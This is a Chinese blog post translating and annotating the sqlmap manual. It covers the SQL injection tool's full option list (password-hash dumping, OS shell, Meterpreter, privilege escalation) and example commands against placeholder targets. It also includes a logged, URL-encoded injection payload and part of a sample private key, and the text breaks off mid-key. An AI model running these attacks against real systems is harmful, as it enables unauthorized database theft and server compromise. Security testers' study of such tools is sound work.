A-A+

最新sqlmap 使用方法官方机译版 超详细

2018年10月05日 15:56 学习笔记 暂无评论 共90931字 (阅读5,246 views次)

【注意:此文章为博主原创文章!转载需注意,请带原文链接,至少也要是txt格式!】

说句心里话,个人对SQLMAP这款神器还是非常激赏的,sqlmap这款神器也是经常使用,但是一直也算是仅仅使用一些常规的命令而已,今天看了官网的详细说明书后,实在是忍不住了,就发到自己博客里了,然后通过google翻译外加自己手动部分内容改成自己的理解。分享给大家吧,多看几遍真的还是很有收获的。

本人也是很用心整理的,建议你收藏此页面,没事看两眼,真心的对你很有用的。

-sqlmap所有参数选项简介

Usage: python sqlmap.py [options]

Options:
  -h, --help            显示基本帮助信息并退出
  -hh                   显示高级帮助消息并退出
  --version             显示程序的版本号并退出
  -v VERBOSE            详细程度:0-6(默认1)

  Target(目标):
    如果使用以下选项那必须要指定一个目标。  At least one of these options has to be provided to define the  target(s)

    -d DIRECT           直接连接数据库的连接字符串    Connection string for direct database connection
    -u URL, --url=URL   目标网址(例如“http://www.site.com/vuln.php?id=1”)    Target URL (e.g. "http://www.site.com/vuln.php?id=1")
    -l LOGFILE          从Burp或WebScarab代理日志文件中解析目标    Parse target(s) from Burp or WebScarab proxy log file
    -x SITEMAPURL       从远程站点地图(.xml)文件中解析目标   Parse target(s) from remote sitemap(.xml) file
    -m BULKFILE         扫描文本文件中给出的多个目标    Scan multiple targets given in a textual file
    -r REQUESTFILE      从文件加载HTTP请求    Load HTTP request from a file
    -g GOOGLEDORK       将Google dork结果作为目标网址处理    Process Google dork results as target URLs
    -c CONFIGFILE       从配置INI文件加载选项    Load options from a configuration INI file

  Request(请求):
    这些选项可用于指定如何连接到目标URL    These options can be used to specify how to connect to the target URL

    --method=METHOD     强制使用指定的HTTP方法(例如PUT)    Force usage of given HTTP method (e.g. PUT)
    --data=DATA         要通过POST发送的数据字符串    Data string to be sent through POST
    --param-del=PARA..  用于拆分参数值的字符(可以理解为手动指定参数的间隔字符)    Character used for splitting parameter values
    --cookie=COOKIE     HTTP Cookie标头值    HTTP Cookie header value
    --cookie-del=COO..  用于分割cookie值的字符    Character used for splitting cookie values
    --load-cookies=L..  包含Netscape / wget格式的Cookie的文件    File containing cookies in Netscape/wget format
    --drop-set-cookie   从响应中忽略Set-Cookie标头    Ignore Set-Cookie header from response
    --user-agent=AGENT  HTTP User-Agent标头值    HTTP User-Agent header value
    --random-agent      使用随机选择的HTTP User-Agent标头值    Use randomly selected HTTP User-Agent header value
    --host=HOST         HTTP主机头值    HTTP Host header value
    --referer=REFERER   在主机头中HTTP Referer(来路)的值   HTTP Referer header value
    -H HEADER, --hea..  加载额外的头部标识    Extra header (e.g. "X-Forwarded-For: 127.0.0.1")
    --headers=HEADERS   加载多个额外的头部标识    Extra headers (e.g. "Accept-Language: fr\nETag: 123")
    --auth-type=AUTH..  HTTP身份验证类型(Basic,Digest,NTLM或PKI)    HTTP authentication type (Basic, Digest, NTLM or PKI)
    --auth-cred=AUTH..  HTTP身份验证凭据(名称:密码)    HTTP authentication credentials (name:password)
    --auth-file=AUTH..  HTTP身份验证PEM证书/私钥文件    HTTP authentication PEM cert/private key file
    --ignore-code=IG..  忽略HTTP错误代码(例如401)    Ignore HTTP error code (e.g. 401)
    --ignore-proxy      忽略系统默认代理设置    Ignore system default proxy settings
    --ignore-redirects  忽略重定向尝试    Ignore redirection attempts
    --ignore-timeouts   忽略连接超时    Ignore connection timeouts
    --proxy=PROXY       使用代理连接到目标URL    Use a proxy to connect to the target URL
    --proxy-cred=PRO..  代理身份验证凭据(名称:密码)    Proxy authentication credentials (name:password)
    --proxy-file=PRO..  从文件加载代理列表    Load proxy list from a file
    --tor               使用Tor匿名网络    Use Tor anonymity network
    --tor-port=TORPORT  设置Tor代理端口以外的默认值    Set Tor proxy port other than default
    --tor-type=TORTYPE  设置Tor代理类型(HTTP,SOCKS4或SOCKS5(默认))    Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))
    --check-tor         检查Tor是否正确使用    Check to see if Tor is used properly
    --delay=DELAY       每个HTTP请求之间的延迟时间(遇到WAF防火墙等常用)    Delay in seconds between each HTTP request
    --timeout=TIMEOUT   在超时连接之前等待的秒数(默认为30)    Seconds to wait before timeout connection (default 30)
    --retries=RETRIES   连接超时时重试(默认3)   Retries when the connection timeouts (default 3)
    --randomize=RPARAM  随机更改给定参数的值    Randomly change value for given parameter(s)
    --safe-url=SAFEURL  在测试期间经常访问的URL地址    URL address to visit frequently during testing
    --safe-post=SAFE..  POST数据发送到安全URL    POST data to send to a safe URL
    --safe-req=SAFER..  从文件加载安全的HTTP请求    Load safe HTTP request from a file
    --safe-freq=SAFE..  测试两次访问给定安全URL之间的请求    Test requests between two visits to a given safe URL
    --skip-urlencode    跳过有效负载(攻击参数)数据的URL编码   Skip URL encoding of payload data
    --csrf-token=CSR..  用于保存反CSRF令牌的参数    Parameter used to hold anti-CSRF token
    --csrf-url=CSRFURL  要访问的URL地址以提取反CSRF令牌    URL address to visit to extract anti-CSRF token
    --force-ssl         强制使用SSL / HTTPS    Force usage of SSL/HTTPS
    --hpp               使用HTTP参数污染方法    Use HTTP parameter pollution method
    --eval=EVALCODE     在请求之前评估提供的Python代码    Evaluate provided Python code before the request (e.g. "import hashlib;id2=hashlib.md5(id).hexdigest()")

  Optimization(优化):
    这些选项可用于优化sqlmap的性能    These options can be used to optimize the performance of sqlmap

    -o                  打开所有优化开关    Turn on all optimization switches
    --predict-output    预测常见查询输出    Predict common queries output
    --keep-alive        使用持久性HTTP(s)连接    Use persistent HTTP(s) connections
    --null-connection   检索页面长度而不使用实际的HTTP响应主体    Retrieve page length without actual HTTP response body
    --threads=THREADS   最大并发HTTP请求数(默认值为1)    Max number of concurrent HTTP(s) requests (default 1)

  Injection(注入):
    这些选项可用于指定要测试的参数,提供自定义注入有效负载和可选的篡改脚本 
    These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts

    -p TESTPARAMETER    可测试参数    Testable parameter(s)
    --skip=SKIP         对给定参数进行跳过测试    Skip testing for given parameter(s)
    --skip-static       跳过看似不动态的测试参数    Skip testing parameters that not appear to be dynamic
    --param-exclude=..  正则表达式从测试中排除参数(例如“ses”)    Regexp to exclude parameters from testing (e.g. "ses")
    --dbms=DBMS         将后端DBMS强制为此值    Force back-end DBMS to this value
    --dbms-cred=DBMS..  DBMS身份验证凭据(用户:密码)    DBMS authentication credentials (user:password)
    --os=OS             强制后端DBMS操作系统达到此值    Force back-end DBMS operating system to this value
    --invalid-bignum    使用大数字表示值无效    Use big numbers for invalidating values
    --invalid-logical   使用逻辑运算使值无效    Use logical operations for invalidating values
    --invalid-string    使用随机字符串使值无效    Use random strings for invalidating values
    --no-cast           关闭有效负载铸造机制    Turn off payload casting mechanism
    --no-escape         关闭字符串转义机制    Turn off string escaping mechanism
    --prefix=PREFIX     注入有效内容字符串    Injection payload prefix string
    --suffix=SUFFIX     注入有效负载后缀字符串    Injection payload suffix string
    --tamper=TAMPER     使用指定的脚本来篡改注入数据    Use given script(s) for tampering injection data

  Detection(检查):
    这些选项可用于自定义检测阶段    These options can be used to customize the detection phase

    --level=LEVEL       要执行的测试级别(1-5,默认值1)    Level of tests to perform (1-5, default 1)
    --risk=RISK         执行测试的风险(1-3,默认1)    Risk of tests to perform (1-3, default 1)
    --string=STRING     查询计算为True时要匹配的字符串    String to match when query is evaluated to True
    --not-string=NOT..  查询计算为False时要匹配的字符串    String to match when query is evaluated to False
    --regexp=REGEXP     当查询被评估为True时匹配的正则表达式    Regexp to match when query is evaluated to True
    --code=CODE         查询评估为True时要匹配的HTTP代码    HTTP code to match when query is evaluated to True
    --text-only         仅根据文本内容比较页面    Compare pages based only on the textual content
    --titles            仅根据标题比较页面    Compare pages based only on their titles

  Techniques(技术):
    这些选项可用于调整特定SQL注入技术的测试    These options can be used to tweak testing of specific SQL injection techniques

    --technique=TECH    要使用的SQL注入技术(默认为“BEUSTQ”)    SQL injection techniques to use (default "BEUSTQ")
    --time-sec=TIMESEC  延迟DBMS响应的秒数(默认值为5)    Seconds to delay the DBMS response (default 5)
    --union-cols=UCOLS  要测试UNION查询SQL注入的列范围    Range of columns to test for UNION query SQL injection
    --union-char=UCHAR  用于强制列数的字符    Character to use for bruteforcing number of columns
    --union-from=UFROM  要在UNION查询SQL注入的FROM部分中使用的表    Table to use in FROM part of UNION query SQL injection
    --dns-domain=DNS..  用于DNS渗透攻击的域名    Domain name used for DNS exfiltration attack
    --second-order=S..  生成的页面URL搜索了二阶响应    Resulting page URL searched for second-order response

  Fingerprint(指纹):
    -f, --fingerprint   执行广泛的DBMS版本指纹    Perform an extensive DBMS version fingerprint

  Enumeration(枚举):
    这些选项可用于枚举表中包含的后端数据库管理系统信息,结构和数据。 此外,您可以运行自己的SQL语句 
    These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements

    -a, --all           检索一切    Retrieve everything
    -b, --banner        检索DBMS横幅    Retrieve DBMS banner
    --current-user      检索DBMS当前用户    Retrieve DBMS current user
    --current-db        检索DBMS当前数据库    Retrieve DBMS current database
    --hostname          检索DBMS服务器主机名    Retrieve DBMS server hostname
    --is-dba            检测DBMS当前用户是否为DBA    Detect if the DBMS current user is DBA
    --users             枚举DBMS用户    Enumerate DBMS users
    --passwords         枚举DBMS用户密码哈希值    Enumerate DBMS users password hashes
    --privileges        枚举DBMS用户权限    Enumerate DBMS users privileges
    --roles             枚举DBMS用户角色    Enumerate DBMS users roles
    --dbs               枚举DBMS数据库    Enumerate DBMS databases
    --tables            枚举DBMS数据库表    Enumerate DBMS database tables
    --columns           枚举DBMS数据库表列    Enumerate DBMS database table columns
    --schema            枚举DBMS架构    Enumerate DBMS schema
    --count             检索表的条目数    Retrieve number of entries for table(s)
    --dump              导出保存DBMS数据库表条目    Dump DBMS database table entries
    --dump-all          导出保存所有DBMS数据库表条目   Dump all DBMS databases tables entries
    --search            搜索列,表和/或数据库名称    Search column(s), table(s) and/or database name(s)
    --comments          检索DBMS注释    Retrieve DBMS comments
    -D DB               要枚举的DBMS数据库    DBMS database to enumerate
    -T TBL              要枚举的DBMS数据库表    DBMS database table(s) to enumerate
    -C COL              要枚举的DBMS数据库表列    DBMS database table column(s) to enumerate
    -X EXCLUDECOL       DBMS数据库表列不枚举    DBMS database table column(s) to not enumerate
    -U USER             DBMS用户枚举    DBMS user to enumerate
    --exclude-sysdbs    枚举表时排除DBMS系统数据库    Exclude DBMS system databases when enumerating tables
    --pivot-column=P..  关键的字段名称    Pivot column name
    --where=DUMPWHERE   在表导出储存时使用WHERE条件    Use WHERE condition while table dumping
    --start=LIMITSTART  要检索的第一个转储表条目    First dump table entry to retrieve
    --stop=LIMITSTOP    要检索的最后转储表条目    Last dump table entry to retrieve
    --first=FIRSTCHAR   首先查询要检索的输出字符    First query output word character to retrieve
    --last=LASTCHAR     上次查询输出要检索的单词字符    Last query output word character to retrieve
    --sql-query=QUERY   要执行的SQL语句    SQL statement to be executed
    --sql-shell         提示交互式SQL shell    Prompt for an interactive SQL shell
    --sql-file=SQLFILE  从指定文件执行SQL语句    Execute SQL statements from given file(s)

  Brute force(暴力):
    这些选项可以用来运行暴力检查。     These options can be used to run brute force checks

    --common-tables     检查公共表的存在    Check existence of common tables
    --common-columns    检查公共列(字段)的存在    Check existence of common columns

  User-defined function injection(用户定义的函数注入):
    这些选项可用于创建自定义用户定义的函数    These options can be used to create custom user-defined functions

    --udf-inject        注入自定义用户定义的函数    Inject custom user-defined functions
    --shared-lib=SHLIB  共享库的本地路径    Local path of the shared library

  File system access(文件系统访问):
    这些选项可用于访问后端数据库管理系统底层文件系统
    These options can be used to access the back-end database management system underlying file system

    --file-read=RFILE   从后端DBMS文件系统中读取文件    Read a file from the back-end DBMS file system
    --file-write=WFILE  在后端DBMS文件系统上写一个本地文件    Write a local file on the back-end DBMS file system
    --file-dest=DFILE   要写入的后端DBMS绝对文件路径    Back-end DBMS absolute filepath to write to

  Operating system access(操作系统访问):
    这些选项可用于访问底层操作系统的后端数据库管理系统
    These options can be used to access the back-end database management system underlying operating system

    --os-cmd=OSCMD      执行操作系统命令    Execute an operating system command
    --os-shell          提示交互式操作系统shell    Prompt for an interactive operating system shell
    --os-pwn            提示OOB shell,Meterpreter或VNC    Prompt for an OOB shell, Meterpreter or VNC
    --os-smbrelay       单击提示输入OOB shell,Meterpreter或VNC    One click prompt for an OOB shell, Meterpreter or VNC
    --os-bof            存储过程缓冲区溢出利用    Stored procedure buffer overflow exploitation
    --priv-esc          数据库进程用户权限升级    Database process user privilege escalation
    --msf-path=MSFPATH  安装Metasploit Framework的本地路径    Local path where Metasploit Framework is installed
    --tmp-path=TMPPATH  临时文件目录的远程绝对路径    Remote absolute path of temporary files directory

  Windows registry access(Windows注册表访问):
    这些选项可用于访问后端数据库管理系统Windows注册表
    These options can be used to access the back-end database management system Windows registry

    --reg-read          读取Windows注册表项值    Read a Windows registry key value
    --reg-add           编写Windows注册表项值数据    Write a Windows registry key value data
    --reg-del           删除Windows注册表项值    Delete a Windows registry key value
    --reg-key=REGKEY    Windows注册表项    Windows registry key
    --reg-value=REGVAL  Windows注册表项值    Windows registry key value
    --reg-data=REGDATA  Windows注册表项值数据    Windows registry key value data
    --reg-type=REGTYPE  Windows注册表项值类型    Windows registry key value type

  General(常规):
    这些选项可用于设置一些常规工作参数    These options can be used to set some general working parameters

    -s SESSIONFILE      从存储的(.sqlite)文件加载会话    Load session from a stored (.sqlite) file
    -t TRAFFICFILE      将所有HTTP流量记录到文本文件中    Log all HTTP traffic into a textual file
    --batch             永远不要求用户输入,使用默认行为    Never ask for user input, use the default behaviour
    --binary-fields=..  具有二进制值的结果字段(例如“摘要”)    Result fields having binary values (e.g. "digest")
    --check-internet    在评估目标之前检查Internet连接    Check Internet connection before assessing the target
    --crawl=CRAWLDEPTH  从目标网址开始抓取网站    Crawl the website starting from the target URL
    --crawl-exclude=..  正则表达式从抓取中排除页面(例如“注销”)    Regexp to exclude pages from crawling (e.g. "logout")
    --csv-del=CSVDEL    分隔CSV输出中使用的字符(默认为“,”)    Delimiting character used in CSV output (default ",")
    --charset=CHARSET   盲SQL注入字符集(例如“0123456789abcdef”)    Blind SQL injection charset (e.g. "0123456789abcdef")
    --dump-format=DU..  转储数据的格式(CSV(默认),HTML或SQLITE)    Format of dumped data (CSV (default), HTML or SQLITE)
    --encoding=ENCOD..  用于数据检索的字符编码(例如GBK)    Character encoding used for data retrieval (e.g. GBK)
    --eta               显示每个输出的预计到达时间    Display for each output the estimated time of arrival
    --flush-session     刷新当前目标的会话文件    Flush session files for current target
    --forms             在目标URL上解析和测试表单    Parse and test forms on target URL
    --fresh-queries     忽略存储在会话文件中的查询结果    Ignore query results stored in session file
    --har=HARFILE       将所有HTTP流量记录到HAR文件中   Log all HTTP traffic into a HAR file
    --hex               使用DBMS十六进制函数进行数据检索    Use DBMS hex function(s) for data retrieval
    --output-dir=OUT..  自定义输出目录路径    Custom output directory path
    --parse-errors      从响应中解析并显示DBMS错误消息    Parse and display DBMS error messages from responses
    --save=SAVECONFIG   将选项保存到配置INI文件    Save options to a configuration INI file
    --scope=SCOPE       正则表达式从提供的代理日志中过滤目标    Regexp to filter targets from provided proxy log
    --test-filter=TE..  按有效负载和/或标题选择测试(例如ROW)    Select tests by payloads and/or titles (e.g. ROW)
    --test-skip=TEST..  按有效载荷和/或标题跳过测试(例如BENCHMARK)    Skip tests by payloads and/or titles (e.g. BENCHMARK)
    --update            升级sqlmap工具    Update sqlmap

  Miscellaneous(杂项):
    -z MNEMONICS        使用短助记符(例如“flu,bat,ban,tec = EU”)    Use short mnemonics (e.g. "flu,bat,ban,tec=EU")
    --alert=ALERT       找到SQL注入时运行主机OS命令    Run host OS command(s) when SQL injection is found
    --answers=ANSWERS   设置问题答案(例如“quit = N,follow = N”)    Set question answers (e.g. "quit=N,follow=N")
    --beep              问题和/或发现SQL注入时发出哔哔声    Beep on question and/or when SQL injection is found
    --cleanup           从特定于sqlmap的UDF和表中清除DBMS    Clean up the DBMS from sqlmap specific UDF and tables
    --dependencies      检查缺少(非核心)sqlmap依赖项    Check for missing (non-core) sqlmap dependencies
    --disable-coloring  禁用控制台输出着色    Disable console output coloring
    --gpage=GOOGLEPAGE  使用特定页码的Google dork结果    Use Google dork results from specified page number
    --identify-waf      对WAF / IPS / IDS保护进行全面测试    Make a thorough testing for a WAF/IPS/IDS protection
    --mobile            通过HTTP User-Agent标头模仿智能手机    Imitate smartphone through HTTP User-Agent header
    --offline           在离线模式下工作(仅使用会话数据)    Work in offline mode (only use session data)
    --purge-output      安全删除输出目录中的所有内容    Safely remove all content from output directory
    --skip-waf          跳过启发式检测WAF / IPS / IDS保护    Skip heuristic detection of WAF/IPS/IDS protection
    --smart             只有在积极启发式的情况下才能进行彻底的测试    Conduct thorough tests only if positive heuristic(s)
    --sqlmap-shell      提示交互式sqlmap shell    Prompt for an interactive sqlmap shell
    --tmp-dir=TMPDIR    用于存储临时文件的本地目录    Local directory for storing temporary files
    --web-root=WEBROOT  Web服务器文档根目录(例如“/ var / www”)    Web server document root directory (e.g. "/var/www")
    --wizard            简单的向导界面,适合初学者用户Simple wizard interface for beginner users

----sqlmap输出详情
选项: -v

此选项可用于设置输出消息的详细级别。存在七个级别的详情。默认级别为1,其中显示信息,警告,错误,关键消息和Python回溯(如果发生)。

0:仅显示Python回溯,错误和关键消息。
1:还显示信息和警告消息。
2:显示调试消息。
3:显示注入的有效负载。
4:还显示HTTP请求。
5:还显示HTTP响应的标题。
6:还显示HTTP响应的页面内容。
一个合理的详情程度,以进一步了解sqlmap在底层的作用是2级,主要用于检测阶段和接管功能。而如果您想查看工具发送的SQL有效负载,则第3级是您的最佳选择。当您向开发人员提供潜在的错误报告时,也建议使用此级别,确保使用选项生成的流量日志文件与标准输出一起发送-t。为了进一步调试潜在的错误或意外行为,我们建议您将详细程度设置为4级或更高级别。应该注意的是,还可以通过使用此选项的较短版本来设置详细程度,其中字母数量v内的规定开关(而不是选择)确定的详细级别(例如-v,而不是-v 2,-vv代替-v 3,-vvv而不是-v 4等)

-sqlmap目标设置
已经提供这些选项中的至少一个来设置目标。

--sqlmap直接连接到数据库
选项: -d

针对单个数据库实例运行sqlmap。此选项接受以下形式之一的连接字符串:

DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME  ##(MySQL,Oracle,Microsoft SQL Server,PostgreSQL等)
DBMS://DATABASE_FILEPATH  ##(SQLite,Microsoft Access,Firebird等)
##例如:
$ python sqlmap.py -d "mysql://admin:admin@192.168.21.17:3306/testdb" -f --banner --dbs --users

--sqlmap目标网址
选项:-u或--url

针对单个目标URL运行sqlmap。此选项需要以下格式的目标URL:
http(s)://targeturl[:port]/[...]

例如:

$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" -f --banner --dbs --users

--从Burp或WebScarab代理日志中解析目标
选项: -l

不是提供单个目标URL,而是可以测试和注入通过Burp代理或 WebScarab代理代理的 HTTP请求。此选项需要一个参数,该参数是代理的HTTP请求日志文件。

--从远程站点地图(.xml)文件中解析目标
选项: -x

站点地图是一个文件,其中Web管理员可以列出其站点的网页位置,以告知搜索引擎有关站点内容的组织。您可以使用选项-x(例如-x http://www.target.com/sitemap.xml)为sqlmap提供站点地图的位置,以便找到可用的目标URL以进行扫描。

--sqlmap扫描在给定文本文件中登记的多个目标
选项: -m

提供列在给定批量文件中的目标URL列表,sqlmap将逐个扫描每个URL。
作为此选项的参数提供的批量文件的示例内容:

www.target1.com/vuln1.php?q=foobar
www.target2.com/vuln2.asp?id=1
www.target3.com/vuln3/id/1*

--从文件加载HTTP请求
选项: -r

sqlmap的一种可能性是从文本文件加载原始HTTP请求。这样您就可以跳过许多其他选项的使用(例如设置cookie,发布数据等)。

作为此选项的参数提供的HTTP请求文件的示例内容:

POST /vuln.php HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/4.0

id=1

请注意,如果请求是通过HTTPS进行的,则可以将此命令与switch结合使用--force-ssl以强制SSL连接到443 / tcp。或者,您可以追加:443到Host标头值的末尾。

--将Google dork结果作为目标地址处理
选项: -g

也可以根据您的Google dork的结果测试和注入GET参数。

此选项使sqlmap与搜索引擎协商其会话cookie以便能够执行搜索,然后sqlmap将使用GET参数检索Google前100个Google dork表达式的结果,询问您是否要测试并注入每个可能受影响的URL 。

例如:

$ python sqlmap.py -g "inurl:\".php?id=1\""

--sqlmap从配置INI文件加载选项
选项: -c

可以从配置INI文件传递用户选项,例如sqlmap.conf。

请注意,如果从命令行提供其他选项,则在运行sqlmap时会对这些选项进行评估,并覆盖配置文件中提供的选项。

-sqlmap请求类参数设置
这些选项可用于指定如何连接到目标URL。

--sqlmap HTTP方法
选项: --method

sqlmap自动检测要在HTTP请求中使用的正确HTTP方法。然而,在某些情况下,需要强制使用PUT自动化不使用的特定HTTP方法(例如)。使用此选项(例如--method=PUT)可以实现这一点。

--HTTP数据
选项: --data

默认情况下,用于执行HTTP请求的HTTP方法是GET,但您可以通过提供要在POST请求中发送的数据来隐式地将其更改为POST。作为这些参数的这些数据针对SQL注入以及任何提供的GET参数进行测试。

例如:

$ python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banner --dbs --users

--sqlmap参数分割字符
选项: --param-del

有些情况下,&需要为sqlmap覆盖默认参数分隔符(例如,在GET和POST数据中),以便能够分别正确地拆分和处理每个参数。

例如:

$ python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=1" --param-del=";" -f --banner --dbs --users

--sqlmap HTTP Cookie标头
选项和开关:--cookie,--cookie-del,--load-cookies和--drop-set-cookie

这些选项和开关可用于两种情况:
一、Web应用程序需要基于cookie的身份验证,并且您拥有此类数据。
二、您希望在此类标头值上检测并利用SQL注入。

这两种原因都需要您发送带有sqlmap请求的cookie,需要执行的步骤如下:
一、使用您喜欢的浏览器登录应用程序。
二、从浏览器的首选项或HTTP代理屏幕获取HTTP Cookie并复制到剪贴板。
三、返回到shell并通过将剪贴板粘贴为选项的值来运行sqlmap --cookie。
请注意,HTTP Cookie标头值通常由;字符分隔,而不是由&。sqlmap也可以将它们识别为单独的集合parameter=value,以及GET和POST参数。如果分隔字符不是;可以通过使用选项指定--cookie-del。

如果在通信期间的任何时候,Web应用程序使用Set-Cookie标头响应,sqlmap将自动在其他所有HTTP请求中使用其值作为Cookie标头。sqlmap还会自动测试SQL注入的那些值。这可以通过提供开关来避免--drop-set-cookie- sqlmap将忽略任何即将到来的Set-Cookie标头。

反之亦然,如果您提供Cookie带有选项的HTTP 标头,--cookie并且目标URL Set-Cookie随时发送HTTP 标头,则sqlmap将询问您使用哪组cookie来处理以下HTTP请求。

还有一个选项--load-cookies可用于提供包含Netscape / wget格式化cookie的特殊文件。

请注意,如果将HTTP Cookie标头--level设置为2或更高,则还会针对SQL注入测试HTTP 标头。请阅读以下详细信息。

--sqlmap HTTP User-Agent标头
选项和开关:--user-agent和--random-agent

默认情况下,sqlmap使用以下User-Agent标头值执行HTTP请求:

sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)

但是,--user-agent通过提供自定义User-Agent作为选项的参数,可以使用该选项伪造它。

此外,通过设置开关--random-agent,SqlMap的将随机选择一个User-Agent从./txt/user-agents.txt文本文件,并使用它的会话中的所有HTTP请求。

某些站点执行HTTP User-Agent标头值的服务器端检查,如果User-Agent未提供有效值,则不会对HTTP响应失败,其值不会被Web应用程序防火墙或类似的入侵防御系统列入黑名单。在这种情况下,sqlmap将显示如下消息:

[hh:mm:20] [ERROR] the target URL responded with an unknown HTTP status code, try to 
force the HTTP User-Agent header with option --user-agent or --random-agent

请注意,User-Agent如果将此标头--level设置为3或更高,则还会针对SQL注入测试HTTP 标头。请阅读以下详细信息。

--HTTP Host标头
选项: --host

您可以手动设置HTTP Host标头值。默认情况下,HTTP Host标头是从提供的目标URL解析的。

请注意,如果将HTTP Host标头--level设置为5,则还会对SQL注入进行测试。请阅读以下详细信息。

--HTTP Referer标头
选项: --referer

可以伪造HTTP Referer标头值。默认情况下,没有 HTTP Referer报头在HTTP请求发送,如果没有明确设定。

请注意,Referer如果将此标头--level设置为3或更高,则还会针对SQL注入测试HTTP 标头。请阅读以下详细信息。

--sqlmap 额外的HTTP标头
选项: --headers

通过设置选项可以提供额外的HTTP标头--headers。每个标头必须用换行符分隔,并且从配置INI文件中提供它们要容易得多。您可以查看sqlmap.conf此类案例的示例文件。

针对MySQL目标的示例:

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" -z "ign,flu,bat,tec=E" --headers="Host:www.target.com\nUser-agent:Firefox 1.0" -v 5
[...]
[xx:xx:44] [TRAFFIC OUT] HTTP request [#5]:
GET /sqlmap/mysql/get_int.php?id=1%20AND%20%28SELECT%209351%20FROM%28SELECT%20C\
OUNT%28%2A%29%2CCONCAT%280x3a6161733a%2C%28SELECT%20%28CASE%20WHEN%20%285473%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3D%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%205473%29%20THEN%201%20ELSE%200%20END%29%29%2C\
0x3a6c666d3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARA\
CTER_SETS%20GROUP%20BY%20x%29a%
29 HTTP/1.1
Host: www.target.com
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Firefox 1.0
Connection: close
[...]

--sqlmap HTTP协议认证
选项:--auth-type和--auth-cred

这些选项可用于指定后端Web服务器实现的HTTP协议身份验证以及用于执行对目标应用程序的所有HTTP请求的有效凭据。

三种支持的HTTP协议认证机制是:
Basic
Digest
NTLM
凭证的语法是username:password。

有效语法示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id\
=1" --auth-type Basic --auth-cred "testuser:testpass"

--sqlmap HTTP协议私钥认证
选项: --auth-file

当Web服务器需要适当的客户端证书和用于身份验证的私钥时,应使用此选项。提供的值应该是格式化的PEM key_file,其中包含您的证书和私钥。

key_file.txt与--auth-file以下内容兼容的生成示例:

$ openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout auth_file.key -out auth_file.pem &&\
cat auth_file.key auth_file.pem > auth_file.txt && cat auth_file.txt
Generating a 2048 bit RSA private key
.........+++
...........+++
writing new private key to 'auth_file.key'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:
Email Address []:
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCWM28J1ua2DINf
VLU28oeJwQidL9vTRoGJR5pfBU6Mhu33Cv6RuVEJAfMWEKYDSbqbrEyy1zUiNTcG
mEd026Peq0SPRvsKsVb6K+EHVF3r+6ExXHEctPRbh2GIzi2kCQMkdHDg+DhmieQ9
9Haxk9IREJZTo2vC1ohvM5M/yubw4iwgMlDaW+4s82OgOcCLjewbPLFZU5gMV+8W
XLKUttUYwV79duPbEvG9S1soNFHhu/MOcNiKJpH2zSegd9Dk5/OJRGX5xEiv7AyL
4shQLpAqn5kuZcm2K+ib/4x/Rw2yT1Slh2tQIi8RcwlYyycOrSqvhW7vvdqkblbY
